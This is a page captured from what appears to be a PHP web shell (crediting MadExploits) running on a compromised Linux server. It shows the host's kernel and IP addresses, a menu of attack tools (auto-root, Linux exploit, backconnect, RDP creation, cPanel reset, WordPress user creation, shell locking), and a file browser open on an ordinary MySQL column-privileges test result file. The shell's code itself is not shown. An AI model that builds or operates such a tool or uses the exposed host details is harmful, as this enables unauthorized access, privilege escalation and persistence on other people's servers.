Linux ip-172-26-2-223 5.4.0-1018-aws #18-Ubuntu SMP Wed Jun 24 01:15:00 UTC 2020 x86_64
Apache
: 172.26.2.223 | : 3.145.167.178
Cant Read [ /etc/named.conf ]
8.1.13
www
www.github.com/MadExploits
Terminal
AUTO ROOT
Adminer
Backdoor Destroyer
Linux Exploit
Lock Shell
Lock File
Create User
CREATE RDP
PHP Mailer
BACKCONNECT
UNLOCK SHELL
HASH IDENTIFIER
CPANEL RESET
CREATE WP USER
BLACK DEFEND!
README
+ Create Folder
+ Create File
/
www /
server /
mysql /
mysql-test /
suite /
funcs_1 /
r /
[ HOME SHELL ]
Name
Size
Permission
Action
charset_collation.result
1.31
KB
-rw-r--r--
innodb_bitdata.result
117
B
-rw-r--r--
innodb_cursors.result
116
B
-rw-r--r--
innodb_func_view.result
309.26
KB
-rw-r--r--
innodb_storedproc_02.result
36.35
KB
-rw-r--r--
innodb_storedproc_03.result
15.48
KB
-rw-r--r--
innodb_storedproc_06.result
14.62
KB
-rw-r--r--
innodb_storedproc_07.result
8.36
KB
-rw-r--r--
innodb_storedproc_08.result
25.53
KB
-rw-r--r--
innodb_storedproc_10.result
13.39
KB
-rw-r--r--
innodb_trig_0102.result
15.08
KB
-rw-r--r--
innodb_trig_03.result
24.65
KB
-rw-r--r--
innodb_trig_03e.result
48.78
KB
-rw-r--r--
innodb_trig_0407.result
10.07
KB
-rw-r--r--
innodb_trig_08.result
18.46
KB
-rw-r--r--
innodb_trig_09.result
9.98
KB
-rw-r--r--
innodb_trig_1011ext.result
12.04
KB
-rw-r--r--
innodb_trig_frkey.result
2.23
KB
-rw-r--r--
innodb_views.result
588.04
KB
-rw-r--r--
is_basics_mixed.result
30.21
KB
-rw-r--r--
is_character_sets.result
3.96
KB
-rw-r--r--
is_cml_innodb.result
4.97
KB
-rw-r--r--
is_cml_memory.result
3.94
KB
-rw-r--r--
is_cml_myisam.result
4.97
KB
-rw-r--r--
is_coll_char_set_appl.result
4.34
KB
-rw-r--r--
is_collations.result
4.43
KB
-rw-r--r--
is_column_privileges.result
19.15
KB
-rw-r--r--
is_column_privileges_is_mysql_...
1.44
KB
-rw-r--r--
is_columns.result
20.71
KB
-rw-r--r--
is_columns_innodb.result
78.28
KB
-rw-r--r--
is_columns_is.result
77.55
KB
-rw-r--r--
is_columns_is_embedded.result
75.57
KB
-rw-r--r--
is_columns_memory.result
75.05
KB
-rw-r--r--
is_columns_myisam.result
83.51
KB
-rw-r--r--
is_columns_myisam_embedded.res...
72.89
KB
-rw-r--r--
is_columns_mysql.result
67.25
KB
-rw-r--r--
is_columns_mysql_embedded.resu...
58.59
KB
-rw-r--r--
is_engines.result
3.88
KB
-rw-r--r--
is_engines_archive.result
161
B
-rw-r--r--
is_engines_blackhole.result
205
B
-rw-r--r--
is_engines_csv.result
149
B
-rw-r--r--
is_engines_federated.result
173
B
-rw-r--r--
is_engines_innodb.result
202
B
-rw-r--r--
is_engines_memory.result
194
B
-rw-r--r--
is_engines_merge.result
182
B
-rw-r--r--
is_engines_myisam.result
158
B
-rw-r--r--
is_events.result
6.38
KB
-rw-r--r--
is_key_column_usage.result
20.01
KB
-rw-r--r--
is_key_column_usage_embedded.r...
16.94
KB
-rw-r--r--
is_routines.result
27.73
KB
-rw-r--r--
is_routines_embedded.result
23.94
KB
-rw-r--r--
is_schema_privileges.result
15.56
KB
-rw-r--r--
is_schema_privileges_is_mysql_...
1.84
KB
-rw-r--r--
is_schemata.result
8.67
KB
-rw-r--r--
is_schemata_embedded.result
8.75
KB
-rw-r--r--
is_schemata_is_mysql_test.resu...
1.59
KB
-rw-r--r--
is_statistics.result
20.12
KB
-rw-r--r--
is_statistics_is.result
1.01
KB
-rw-r--r--
is_statistics_mysql.result
6.23
KB
-rw-r--r--
is_statistics_mysql_embedded.r...
11.47
KB
-rw-r--r--
is_table_constraints.result
15.57
KB
-rw-r--r--
is_table_constraints_is.result
828
B
-rw-r--r--
is_table_constraints_mysql.res...
2.3
KB
-rw-r--r--
is_table_constraints_mysql_emb...
3.81
KB
-rw-r--r--
is_table_privileges.result
15.08
KB
-rw-r--r--
is_tables.result
17.27
KB
-rw-r--r--
is_tables_embedded.result
17.48
KB
-rw-r--r--
is_tables_innodb.result
4.07
KB
-rw-r--r--
is_tables_is.result
30.01
KB
-rw-r--r--
is_tables_memory.result
4.17
KB
-rw-r--r--
is_tables_myisam.result
4.23
KB
-rw-r--r--
is_tables_myisam_embedded.resu...
4.63
KB
-rw-r--r--
is_tables_mysql.result
16.11
KB
-rw-r--r--
is_tables_mysql_embedded.resul...
31.05
KB
-rw-r--r--
is_triggers.result
15.87
KB
-rw-r--r--
is_triggers_embedded.result
11.97
KB
-rw-r--r--
is_user_privileges.result
41.08
KB
-rw-r--r--
is_views.result
14.67
KB
-rw-r--r--
is_views_embedded.result
10.98
KB
-rw-r--r--
memory_bitdata.result
286
B
-rw-r--r--
memory_cursors.result
285
B
-rw-r--r--
memory_func_view.result
309.31
KB
-rw-r--r--
memory_storedproc_02.result
36.4
KB
-rw-r--r--
memory_storedproc_03.result
15.53
KB
-rw-r--r--
memory_storedproc_06.result
14.67
KB
-rw-r--r--
memory_storedproc_07.result
8.41
KB
-rw-r--r--
memory_storedproc_08.result
25.58
KB
-rw-r--r--
memory_storedproc_10.result
13.44
KB
-rw-r--r--
memory_trig_0102.result
15.25
KB
-rw-r--r--
memory_trig_03.result
24.47
KB
-rw-r--r--
memory_trig_03e.result
47.41
KB
-rw-r--r--
memory_trig_0407.result
10.23
KB
-rw-r--r--
memory_trig_08.result
18.51
KB
-rw-r--r--
memory_trig_09.result
10.14
KB
-rw-r--r--
memory_trig_1011ext.result
12.11
KB
-rw-r--r--
memory_views.result
588.33
KB
-rw-r--r--
myisam_bitdata.result
286
B
-rw-r--r--
myisam_cursors.result
285
B
-rw-r--r--
myisam_func_view.result
309.31
KB
-rw-r--r--
myisam_storedproc_02.result
36.4
KB
-rw-r--r--
myisam_storedproc_03.result
15.53
KB
-rw-r--r--
myisam_storedproc_06.result
14.67
KB
-rw-r--r--
myisam_storedproc_07.result
8.41
KB
-rw-r--r--
myisam_storedproc_08.result
25.58
KB
-rw-r--r--
myisam_storedproc_10.result
13.44
KB
-rw-r--r--
myisam_trig_0102.result
15.25
KB
-rw-r--r--
myisam_trig_03.result
24.47
KB
-rw-r--r--
myisam_trig_03e.result
47.41
KB
-rw-r--r--
myisam_trig_0407.result
10.23
KB
-rw-r--r--
myisam_trig_08.result
18.51
KB
-rw-r--r--
myisam_trig_09.result
10.14
KB
-rw-r--r--
myisam_trig_1011ext.result
12.11
KB
-rw-r--r--
myisam_views-big.result
603.32
KB
-rw-r--r--
processlist_priv_no_prot.resul...
28.91
KB
-rw-r--r--
processlist_priv_ps.result
28.94
KB
-rw-r--r--
processlist_val_no_prot.result
91.97
KB
-rw-r--r--
processlist_val_ps.result
91.98
KB
-rw-r--r--
row_count_func.result
1.4
KB
-rw-r--r--
storedproc.result
893.84
KB
-rw-r--r--
Delete
Unzip
Zip
${this.title}
Close
Code Editor : is_column_privileges.result
SHOW TABLES FROM information_schema LIKE 'COLUMN_PRIVILEGES'; Tables_in_information_schema (COLUMN_PRIVILEGES) COLUMN_PRIVILEGES ####################################################################### # Testcase 3.2.1.1: INFORMATION_SCHEMA tables can be queried via SELECT ####################################################################### DROP VIEW IF EXISTS test.v1; DROP PROCEDURE IF EXISTS test.p1; DROP FUNCTION IF EXISTS test.f1; CREATE VIEW test.v1 AS SELECT * FROM information_schema.COLUMN_PRIVILEGES; CREATE PROCEDURE test.p1() SELECT * FROM information_schema.COLUMN_PRIVILEGES; CREATE FUNCTION test.f1() returns BIGINT BEGIN DECLARE counter BIGINT DEFAULT NULL; SELECT COUNT(*) INTO counter FROM information_schema.COLUMN_PRIVILEGES; RETURN counter; END// # Attention: The printing of the next result sets is disabled. SELECT * FROM information_schema.COLUMN_PRIVILEGES; SELECT * FROM test.v1; CALL test.p1; SELECT test.f1(); DROP VIEW test.v1; DROP PROCEDURE test.p1; DROP FUNCTION test.f1; ######################################################################### # Testcase 3.2.5.1: INFORMATION_SCHEMA.COLUMN_PRIVILEGES layout ######################################################################### DESCRIBE information_schema.COLUMN_PRIVILEGES; Field Type Null Key Default Extra GRANTEE varchar(81) NO TABLE_CATALOG varchar(512) NO TABLE_SCHEMA varchar(64) NO TABLE_NAME varchar(64) NO COLUMN_NAME varchar(64) NO PRIVILEGE_TYPE varchar(64) NO IS_GRANTABLE varchar(3) NO SHOW CREATE TABLE information_schema.COLUMN_PRIVILEGES; Table Create Table COLUMN_PRIVILEGES CREATE TEMPORARY TABLE `COLUMN_PRIVILEGES` ( `GRANTEE` varchar(81) NOT NULL DEFAULT '', `TABLE_CATALOG` varchar(512) NOT NULL DEFAULT '', `TABLE_SCHEMA` varchar(64) NOT NULL DEFAULT '', `TABLE_NAME` varchar(64) NOT NULL DEFAULT '', `COLUMN_NAME` varchar(64) NOT NULL DEFAULT '', `PRIVILEGE_TYPE` varchar(64) NOT NULL DEFAULT '', `IS_GRANTABLE` varchar(3) NOT NULL DEFAULT '' ) ENGINE=MEMORY DEFAULT CHARSET=utf8 SHOW COLUMNS FROM information_schema.COLUMN_PRIVILEGES; Field Type Null Key Default Extra GRANTEE varchar(81) NO TABLE_CATALOG varchar(512) NO TABLE_SCHEMA varchar(64) NO TABLE_NAME varchar(64) NO COLUMN_NAME varchar(64) NO PRIVILEGE_TYPE varchar(64) NO IS_GRANTABLE varchar(3) NO SELECT table_catalog, table_schema, table_name, column_name, privilege_type FROM information_schema.column_privileges WHERE table_catalog IS NOT NULL; table_catalog table_schema table_name column_name privilege_type ###################################################################### # Testcase 3.2.5.2+3.2.5.3+3.2.5.4: # INFORMATION_SCHEMA.COLUMN_PRIVILEGES accessible information ###################################################################### DROP DATABASE IF EXISTS db_datadict; CREATE DATABASE db_datadict; CREATE TABLE db_datadict.t1 (f1 INT, f2 DECIMAL, f3 TEXT) ENGINE = <other_engine_type>; USE db_datadict; DROP USER 'testuser1'@'localhost'; CREATE USER 'testuser1'@'localhost'; DROP USER 'testuser2'@'localhost'; CREATE USER 'testuser2'@'localhost'; DROP USER 'testuser3'@'localhost'; CREATE USER 'testuser3'@'localhost'; GRANT SELECT(f1, f3) ON db_datadict.t1 TO 'testuser1'@'localhost'; GRANT INSERT(f1) ON db_datadict.t1 TO 'testuser1'@'localhost'; GRANT UPDATE(f2) ON db_datadict.t1 TO 'testuser1'@'localhost'; GRANT SELECT(f2) ON db_datadict.t1 TO 'testuser2'@'localhost'; GRANT INSERT, SELECT ON db_datadict.t1 TO 'testuser3'@'localhost'; GRANT SELECT(f3) ON db_datadict.t1 TO 'testuser3'@'localhost'; GRANT INSERT, SELECT ON db_datadict.t1 TO 'testuser3'@'localhost' WITH GRANT OPTION; GRANT ALL ON db_datadict.* TO 'testuser3'@'localhost'; SELECT * FROM information_schema.column_privileges WHERE grantee LIKE '''testuser%''' ORDER BY grantee, table_schema,table_name,column_name,privilege_type; GRANTEE TABLE_CATALOG TABLE_SCHEMA TABLE_NAME COLUMN_NAME PRIVILEGE_TYPE IS_GRANTABLE 'testuser1'@'localhost' def db_datadict t1 f1 INSERT NO 'testuser1'@'localhost' def db_datadict t1 f1 SELECT NO 'testuser1'@'localhost' def db_datadict t1 f2 UPDATE NO 'testuser1'@'localhost' def db_datadict t1 f3 SELECT NO 'testuser2'@'localhost' def db_datadict t1 f2 SELECT NO 'testuser3'@'localhost' def db_datadict t1 f3 SELECT YES GRANT UPDATE(f3) ON db_datadict.t1 TO 'testuser1'@'localhost' WITH GRANT OPTION; SELECT * FROM information_schema.column_privileges WHERE grantee LIKE '''testuser%''' ORDER BY grantee, table_schema,table_name,column_name,privilege_type; GRANTEE TABLE_CATALOG TABLE_SCHEMA TABLE_NAME COLUMN_NAME PRIVILEGE_TYPE IS_GRANTABLE 'testuser1'@'localhost' def db_datadict t1 f1 INSERT YES 'testuser1'@'localhost' def db_datadict t1 f1 SELECT YES 'testuser1'@'localhost' def db_datadict t1 f2 UPDATE YES 'testuser1'@'localhost' def db_datadict t1 f3 SELECT YES 'testuser1'@'localhost' def db_datadict t1 f3 UPDATE YES 'testuser2'@'localhost' def db_datadict t1 f2 SELECT NO 'testuser3'@'localhost' def db_datadict t1 f3 SELECT YES # Establish connection testuser1 (user=testuser1) SELECT * FROM information_schema.column_privileges WHERE grantee LIKE '''testuser%''' ORDER BY grantee, table_schema,table_name,column_name,privilege_type; GRANTEE TABLE_CATALOG TABLE_SCHEMA TABLE_NAME COLUMN_NAME PRIVILEGE_TYPE IS_GRANTABLE 'testuser1'@'localhost' def db_datadict t1 f1 INSERT YES 'testuser1'@'localhost' def db_datadict t1 f1 SELECT YES 'testuser1'@'localhost' def db_datadict t1 f2 UPDATE YES 'testuser1'@'localhost' def db_datadict t1 f3 SELECT YES 'testuser1'@'localhost' def db_datadict t1 f3 UPDATE YES # Establish connection testuser2 (user=testuser2) SELECT * FROM information_schema.column_privileges WHERE grantee LIKE '''testuser%''' ORDER BY grantee, table_schema,table_name,column_name,privilege_type; GRANTEE TABLE_CATALOG TABLE_SCHEMA TABLE_NAME COLUMN_NAME PRIVILEGE_TYPE IS_GRANTABLE 'testuser2'@'localhost' def db_datadict t1 f2 SELECT NO # Establish connection testuser3 (user=testuser3) # FIXME: Is it correct that granted TABLES do not occur in COLUMN_PRIVILEGES? SELECT * FROM information_schema.table_privileges WHERE grantee LIKE '''testuser%''' ORDER BY grantee,table_schema,table_name,privilege_type; GRANTEE TABLE_CATALOG TABLE_SCHEMA TABLE_NAME PRIVILEGE_TYPE IS_GRANTABLE 'testuser3'@'localhost' def db_datadict t1 INSERT YES 'testuser3'@'localhost' def db_datadict t1 SELECT YES SELECT * FROM information_schema.schema_privileges WHERE grantee LIKE '''testuser%''' ORDER BY grantee,table_schema,privilege_type; GRANTEE TABLE_CATALOG TABLE_SCHEMA PRIVILEGE_TYPE IS_GRANTABLE 'testuser3'@'localhost' def db_datadict ALTER NO 'testuser3'@'localhost' def db_datadict ALTER ROUTINE NO 'testuser3'@'localhost' def db_datadict CREATE NO 'testuser3'@'localhost' def db_datadict CREATE ROUTINE NO 'testuser3'@'localhost' def db_datadict CREATE TEMPORARY TABLES NO 'testuser3'@'localhost' def db_datadict CREATE VIEW NO 'testuser3'@'localhost' def db_datadict DELETE NO 'testuser3'@'localhost' def db_datadict DROP NO 'testuser3'@'localhost' def db_datadict EVENT NO 'testuser3'@'localhost' def db_datadict EXECUTE NO 'testuser3'@'localhost' def db_datadict INDEX NO 'testuser3'@'localhost' def db_datadict INSERT NO 'testuser3'@'localhost' def db_datadict LOCK TABLES NO 'testuser3'@'localhost' def db_datadict REFERENCES NO 'testuser3'@'localhost' def db_datadict SELECT NO 'testuser3'@'localhost' def db_datadict SHOW VIEW NO 'testuser3'@'localhost' def db_datadict TRIGGER NO 'testuser3'@'localhost' def db_datadict UPDATE NO SELECT * FROM information_schema.column_privileges WHERE grantee LIKE '''testuser%''' ORDER BY grantee, table_schema,table_name,column_name,privilege_type; GRANTEE TABLE_CATALOG TABLE_SCHEMA TABLE_NAME COLUMN_NAME PRIVILEGE_TYPE IS_GRANTABLE 'testuser3'@'localhost' def db_datadict t1 f3 SELECT YES GRANT SELECT(f1, f3) ON db_datadict.t1 TO 'testuser2'@'localhost'; # FIXME: Is it intended that *my* grants to others are *NOT* shown here? SELECT * FROM information_schema.column_privileges WHERE grantee LIKE '''testuser%''' ORDER BY grantee, table_schema,table_name,column_name,privilege_type; GRANTEE TABLE_CATALOG TABLE_SCHEMA TABLE_NAME COLUMN_NAME PRIVILEGE_TYPE IS_GRANTABLE 'testuser3'@'localhost' def db_datadict t1 f3 SELECT YES # Switch to connection testuser2 (user=testuser2) SELECT * FROM information_schema.column_privileges WHERE grantee LIKE '''testuser%''' ORDER BY grantee, table_schema,table_name,column_name,privilege_type; GRANTEE TABLE_CATALOG TABLE_SCHEMA TABLE_NAME COLUMN_NAME PRIVILEGE_TYPE IS_GRANTABLE 'testuser2'@'localhost' def db_datadict t1 f1 SELECT NO 'testuser2'@'localhost' def db_datadict t1 f2 SELECT NO 'testuser2'@'localhost' def db_datadict t1 f3 SELECT NO # Switch to connection default and close connections testuser1,testuser2,testuser3 DROP DATABASE db_datadict; DROP USER 'testuser1'@'localhost'; DROP USER 'testuser2'@'localhost'; DROP USER 'testuser3'@'localhost'; ################################################################################ # 3.2.1.13+3.2.1.14+3.2.1.15: INFORMATION_SCHEMA.COLUMN_PRIVILEGES modifications ################################################################################ DROP DATABASE IF EXISTS db_datadict; CREATE DATABASE db_datadict; CREATE TABLE db_datadict.my_table (f1 BIGINT, f2 CHAR(10), f3 DATE) ENGINE = <engine_type>; DROP USER 'testuser1'@'localhost'; CREATE USER 'testuser1'@'localhost'; GRANT ALL ON test.* TO 'testuser1'@'localhost'; SELECT * FROM information_schema.column_privileges WHERE table_name = 'my_table' ORDER BY grantee, table_schema,table_name,column_name,privilege_type; GRANTEE TABLE_CATALOG TABLE_SCHEMA TABLE_NAME COLUMN_NAME PRIVILEGE_TYPE IS_GRANTABLE SHOW GRANTS FOR 'testuser1'@'localhost'; Grants for testuser1@localhost GRANT USAGE ON *.* TO 'testuser1'@'localhost' GRANT ALL PRIVILEGES ON `test`.* TO 'testuser1'@'localhost' # Establish connection testuser1 (user=testuser1) SELECT * FROM information_schema.column_privileges WHERE table_name = 'my_table' ORDER BY grantee, table_schema,table_name,column_name,privilege_type; GRANTEE TABLE_CATALOG TABLE_SCHEMA TABLE_NAME COLUMN_NAME PRIVILEGE_TYPE IS_GRANTABLE SHOW GRANTS FOR 'testuser1'@'localhost'; Grants for testuser1@localhost GRANT USAGE ON *.* TO 'testuser1'@'localhost' GRANT ALL PRIVILEGES ON `test`.* TO 'testuser1'@'localhost' # Switch to connection default GRANT SELECT (f1,f3) ON db_datadict.my_table TO 'testuser1'@'localhost'; SELECT * FROM information_schema.column_privileges WHERE table_name = 'my_table' ORDER BY grantee, table_schema,table_name,column_name,privilege_type; GRANTEE TABLE_CATALOG TABLE_SCHEMA TABLE_NAME COLUMN_NAME PRIVILEGE_TYPE IS_GRANTABLE 'testuser1'@'localhost' def db_datadict my_table f1 SELECT NO 'testuser1'@'localhost' def db_datadict my_table f3 SELECT NO SHOW GRANTS FOR 'testuser1'@'localhost'; Grants for testuser1@localhost GRANT USAGE ON *.* TO 'testuser1'@'localhost' GRANT ALL PRIVILEGES ON `test`.* TO 'testuser1'@'localhost' GRANT SELECT (f3, f1) ON `db_datadict`.`my_table` TO 'testuser1'@'localhost' # Switch to connection testuser1 SELECT * FROM information_schema.column_privileges WHERE table_name = 'my_table' ORDER BY grantee, table_schema,table_name,column_name,privilege_type; GRANTEE TABLE_CATALOG TABLE_SCHEMA TABLE_NAME COLUMN_NAME PRIVILEGE_TYPE IS_GRANTABLE 'testuser1'@'localhost' def db_datadict my_table f1 SELECT NO 'testuser1'@'localhost' def db_datadict my_table f3 SELECT NO SHOW GRANTS FOR 'testuser1'@'localhost'; Grants for testuser1@localhost GRANT USAGE ON *.* TO 'testuser1'@'localhost' GRANT ALL PRIVILEGES ON `test`.* TO 'testuser1'@'localhost' GRANT SELECT (f3, f1) ON `db_datadict`.`my_table` TO 'testuser1'@'localhost' # Switch to connection default ALTER TABLE db_datadict.my_table DROP COLUMN f3; GRANT UPDATE (f1) ON db_datadict.my_table TO 'testuser1'@'localhost'; SELECT * FROM information_schema.column_privileges WHERE table_name = 'my_table' ORDER BY grantee, table_schema,table_name,column_name,privilege_type; GRANTEE TABLE_CATALOG TABLE_SCHEMA TABLE_NAME COLUMN_NAME PRIVILEGE_TYPE IS_GRANTABLE 'testuser1'@'localhost' def db_datadict my_table f1 SELECT NO 'testuser1'@'localhost' def db_datadict my_table f1 UPDATE NO 'testuser1'@'localhost' def db_datadict my_table f3 SELECT NO SHOW GRANTS FOR 'testuser1'@'localhost'; Grants for testuser1@localhost GRANT USAGE ON *.* TO 'testuser1'@'localhost' GRANT ALL PRIVILEGES ON `test`.* TO 'testuser1'@'localhost' GRANT SELECT (f3, f1), UPDATE (f1) ON `db_datadict`.`my_table` TO 'testuser1'@'localhost' # Switch to connection testuser1 SELECT * FROM information_schema.column_privileges WHERE table_name = 'my_table' ORDER BY grantee, table_schema,table_name,column_name,privilege_type; GRANTEE TABLE_CATALOG TABLE_SCHEMA TABLE_NAME COLUMN_NAME PRIVILEGE_TYPE IS_GRANTABLE 'testuser1'@'localhost' def db_datadict my_table f1 SELECT NO 'testuser1'@'localhost' def db_datadict my_table f1 UPDATE NO 'testuser1'@'localhost' def db_datadict my_table f3 SELECT NO SHOW GRANTS FOR 'testuser1'@'localhost'; Grants for testuser1@localhost GRANT USAGE ON *.* TO 'testuser1'@'localhost' GRANT ALL PRIVILEGES ON `test`.* TO 'testuser1'@'localhost' GRANT SELECT (f3, f1), UPDATE (f1) ON `db_datadict`.`my_table` TO 'testuser1'@'localhost' SELECT f1, f3 FROM db_datadict.my_table; ERROR 42S22: Unknown column 'f3' in 'field list' # Switch to connection default ALTER TABLE db_datadict.my_table CHANGE COLUMN f1 my_col BIGINT; SELECT * FROM information_schema.column_privileges WHERE table_name = 'my_table' ORDER BY grantee, table_schema,table_name,column_name,privilege_type; GRANTEE TABLE_CATALOG TABLE_SCHEMA TABLE_NAME COLUMN_NAME PRIVILEGE_TYPE IS_GRANTABLE 'testuser1'@'localhost' def db_datadict my_table f1 SELECT NO 'testuser1'@'localhost' def db_datadict my_table f1 UPDATE NO 'testuser1'@'localhost' def db_datadict my_table f3 SELECT NO SHOW GRANTS FOR 'testuser1'@'localhost'; Grants for testuser1@localhost GRANT USAGE ON *.* TO 'testuser1'@'localhost' GRANT ALL PRIVILEGES ON `test`.* TO 'testuser1'@'localhost' GRANT SELECT (f3, f1), UPDATE (f1) ON `db_datadict`.`my_table` TO 'testuser1'@'localhost' # Switch to connection testuser1 SELECT * FROM information_schema.column_privileges WHERE table_name = 'my_table' ORDER BY grantee, table_schema,table_name,column_name,privilege_type; GRANTEE TABLE_CATALOG TABLE_SCHEMA TABLE_NAME COLUMN_NAME PRIVILEGE_TYPE IS_GRANTABLE 'testuser1'@'localhost' def db_datadict my_table f1 SELECT NO 'testuser1'@'localhost' def db_datadict my_table f1 UPDATE NO 'testuser1'@'localhost' def db_datadict my_table f3 SELECT NO SHOW GRANTS FOR 'testuser1'@'localhost'; Grants for testuser1@localhost GRANT USAGE ON *.* TO 'testuser1'@'localhost' GRANT ALL PRIVILEGES ON `test`.* TO 'testuser1'@'localhost' GRANT SELECT (f3, f1), UPDATE (f1) ON `db_datadict`.`my_table` TO 'testuser1'@'localhost' # Switch to connection default DROP TABLE db_datadict.my_table; SELECT * FROM information_schema.column_privileges WHERE table_name = 'my_table' ORDER BY grantee, table_schema,table_name,column_name,privilege_type; GRANTEE TABLE_CATALOG TABLE_SCHEMA TABLE_NAME COLUMN_NAME PRIVILEGE_TYPE IS_GRANTABLE 'testuser1'@'localhost' def db_datadict my_table f1 SELECT NO 'testuser1'@'localhost' def db_datadict my_table f1 UPDATE NO 'testuser1'@'localhost' def db_datadict my_table f3 SELECT NO SHOW GRANTS FOR 'testuser1'@'localhost'; Grants for testuser1@localhost GRANT USAGE ON *.* TO 'testuser1'@'localhost' GRANT ALL PRIVILEGES ON `test`.* TO 'testuser1'@'localhost' GRANT SELECT (f3, f1), UPDATE (f1) ON `db_datadict`.`my_table` TO 'testuser1'@'localhost' # Switch to connection testuser1 SELECT * FROM information_schema.column_privileges WHERE table_name = 'my_table' ORDER BY grantee, table_schema,table_name,column_name,privilege_type; GRANTEE TABLE_CATALOG TABLE_SCHEMA TABLE_NAME COLUMN_NAME PRIVILEGE_TYPE IS_GRANTABLE 'testuser1'@'localhost' def db_datadict my_table f1 SELECT NO 'testuser1'@'localhost' def db_datadict my_table f1 UPDATE NO 'testuser1'@'localhost' def db_datadict my_table f3 SELECT NO SHOW GRANTS FOR 'testuser1'@'localhost'; Grants for testuser1@localhost GRANT USAGE ON *.* TO 'testuser1'@'localhost' GRANT ALL PRIVILEGES ON `test`.* TO 'testuser1'@'localhost' GRANT SELECT (f3, f1), UPDATE (f1) ON `db_datadict`.`my_table` TO 'testuser1'@'localhost' # Switch to connection default REVOKE ALL ON db_datadict.my_table FROM 'testuser1'@'localhost'; SELECT * FROM information_schema.column_privileges WHERE table_name = 'my_table' ORDER BY grantee, table_schema,table_name,column_name,privilege_type; GRANTEE TABLE_CATALOG TABLE_SCHEMA TABLE_NAME COLUMN_NAME PRIVILEGE_TYPE IS_GRANTABLE SHOW GRANTS FOR 'testuser1'@'localhost'; Grants for testuser1@localhost GRANT USAGE ON *.* TO 'testuser1'@'localhost' GRANT ALL PRIVILEGES ON `test`.* TO 'testuser1'@'localhost' # Switch to connection testuser1 SELECT * FROM information_schema.column_privileges WHERE table_name = 'my_table' ORDER BY grantee, table_schema,table_name,column_name,privilege_type; GRANTEE TABLE_CATALOG TABLE_SCHEMA TABLE_NAME COLUMN_NAME PRIVILEGE_TYPE IS_GRANTABLE SHOW GRANTS FOR 'testuser1'@'localhost'; Grants for testuser1@localhost GRANT USAGE ON *.* TO 'testuser1'@'localhost' GRANT ALL PRIVILEGES ON `test`.* TO 'testuser1'@'localhost' # Switch to connection default and close connection testuser1 DROP USER 'testuser1'@'localhost'; DROP DATABASE db_datadict; ######################################################################## # Testcases 3.2.1.3-3.2.1.5 + 3.2.1.8-3.2.1.12: INSERT/UPDATE/DELETE and # DDL on INFORMATION_SCHEMA table are not supported ######################################################################## DROP DATABASE IF EXISTS db_datadict; CREATE DATABASE db_datadict; CREATE TABLE db_datadict.t1 (f1 BIGINT, f2 BIGINT) ENGINE = <engine_type>; DROP USER 'testuser1'@'localhost'; CREATE USER 'testuser1'@'localhost'; GRANT SELECT (f1) ON db_datadict.t1 TO 'testuser1'@'localhost'; INSERT INTO information_schema.column_privileges SELECT * FROM information_schema.column_privileges; ERROR 42000: Access denied for user 'root'@'localhost' to database 'information_schema' UPDATE information_schema.column_privileges SET table_schema = 'test' WHERE table_name = 't1'; ERROR 42000: Access denied for user 'root'@'localhost' to database 'information_schema' DELETE FROM information_schema.column_privileges WHERE table_name = 't1'; ERROR 42000: Access denied for user 'root'@'localhost' to database 'information_schema' TRUNCATE information_schema.column_privileges; ERROR 42000: Access denied for user 'root'@'localhost' to database 'information_schema' CREATE INDEX my_idx_on_tables ON information_schema.column_privileges(table_schema); ERROR 42000: Access denied for user 'root'@'localhost' to database 'information_schema' ALTER TABLE information_schema.column_privileges ADD f1 INT; ERROR 42000: Access denied for user 'root'@'localhost' to database 'information_schema' DROP TABLE information_schema.column_privileges; ERROR 42000: Access denied for user 'root'@'localhost' to database 'information_schema' ALTER TABLE information_schema.column_privileges RENAME db_datadict.column_privileges; ERROR 42000: Access denied for user 'root'@'localhost' to database 'information_schema' ALTER TABLE information_schema.column_privileges RENAME information_schema.xcolumn_privileges; ERROR 42000: Access denied for user 'root'@'localhost' to database 'information_schema' DROP DATABASE db_datadict; DROP USER 'testuser1'@'localhost';
Close